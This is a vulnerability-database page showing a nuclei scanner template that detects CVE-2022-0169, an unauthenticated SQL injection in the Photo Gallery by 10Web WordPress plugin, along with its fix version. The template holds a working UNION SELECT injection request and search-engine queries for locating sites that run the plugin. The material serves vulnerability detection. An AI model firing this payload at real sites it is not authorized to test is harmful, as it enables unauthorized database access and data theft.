Lucene search
K

Photo Gallery by 10Web < 1.6.0 - SQL Injection

🗓️ 29 Jun 2026 05:52:57Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 64 Views

Photo Gallery by 10Web < 1.6.0 - SQL Injection vulnerability allows unauthenticated SQL injection via bwg_tag_id_bwg_thumbnails_0 parameter in the Photo Gallery by 10Web WordPress plugin before 1.6.0, leading to unauthorized access, data manipulation, or leakage. Resolved in release 1.6.0

Related
Refs
Code
id: CVE-2022-0169

info:
  name: Photo Gallery by 10Web < 1.6.0 - SQL Injection
  author: ritikchaddha,princechaddha
  severity: critical
  description: |
    The Photo Gallery by 10Web WordPress plugin before 1.6.0 does not validate and escape the bwg_tag_id_bwg_thumbnails_0 parameter before using it in a SQL statement via the bwg_frontend_data AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL injection
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: This is resolved in release 1.6.0.
  reference:
    - https://wpscan.com/vulnerability/0b4d870f-eab8-4544-91f8-9c5f0538709c
    - https://wordpress.org/plugins/photo-gallery/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0169
    - https://plugins.trac.wordpress.org/changeset/2672822/photo-gallery#file9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0169
    cwe-id: CWE-89
    epss-score: 0.74615
    epss-percentile: 0.99435
    cpe: cpe:2.3:a:10web:photo_gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: 10web
    product: photo_gallery
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/photo-gallery
    fofa-query: body=/wp-content/plugins/photo-gallery
    publicwww-query: "/wp-content/plugins/photo-gallery"
  tags: cve,cve2022,wpscan,wp,wp-plugin,wordpress,sqli,photo-gallery,10web,vkev,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1&bwg_tag_id_bwg_thumbnails_0[]=)%22%20union%20select%201,2,3,4,5,6,7,concat(md5({{num}}),%200x2c,%208),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20--%20g"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200
# digest: 490a00463044022061ef81fc99680d720f23de7050774c7e6fef5a7ef4dd548e1a49ae5401693563022004d9f0ee9cac473c682531d27b4d24c874ad486376260c102906940c8699d842:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 27.5
CVSS 3.19.8
EPSS0.74615
64